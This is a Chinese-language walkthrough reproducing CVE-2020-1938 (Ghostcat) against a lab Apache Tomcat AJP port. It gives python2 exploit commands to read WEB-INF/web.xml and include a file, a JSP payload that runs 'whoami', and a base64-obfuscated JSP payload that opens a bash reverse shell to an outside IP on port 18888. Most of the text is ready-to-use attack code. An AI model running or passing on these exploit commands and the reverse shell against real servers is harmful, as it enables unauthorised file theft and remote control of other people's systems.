CVE-2020-1938漏洞复现(文件读取文件包含)
一、影响版本
- Apache Tomcat 9.x < 9.0.31
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 6.x
二、前提条件
AJP Connector 服务端口(以上漏洞版本默认开启:8009端口)
三、环境搭建
靶机IP:10.4.116.142
8009服务确认:telnet 10.4.116.142 8009
四、复现
下面参考链接有git地址,下载即可
任意文件读取复现:
python2 "Tomcat-ROOT路径下文件读取(CVE-2020-1938).py" -p 8009 -f /WEB-INF/web.xml 10.4.116.142 //读取web.xml文件
任意文件包含复现命令:
python2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /11.txt 10.4.116.142
执行whoami命令:
<% java.io.InputStream in = Runtime.getRuntime().exec("whoami").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>
反弹shell,自己编译bash后的代码,编译地址:http://www.jackson-t.ca/runtime-exec-payloads.html
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>
坑:可以读取到的文件11.txt文件是直接放到漏洞环境webapps/ROOT目录下的,不是本地包含上去的,所以这里想要拿到shell的条件比较苛刻。
参考链接:
https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read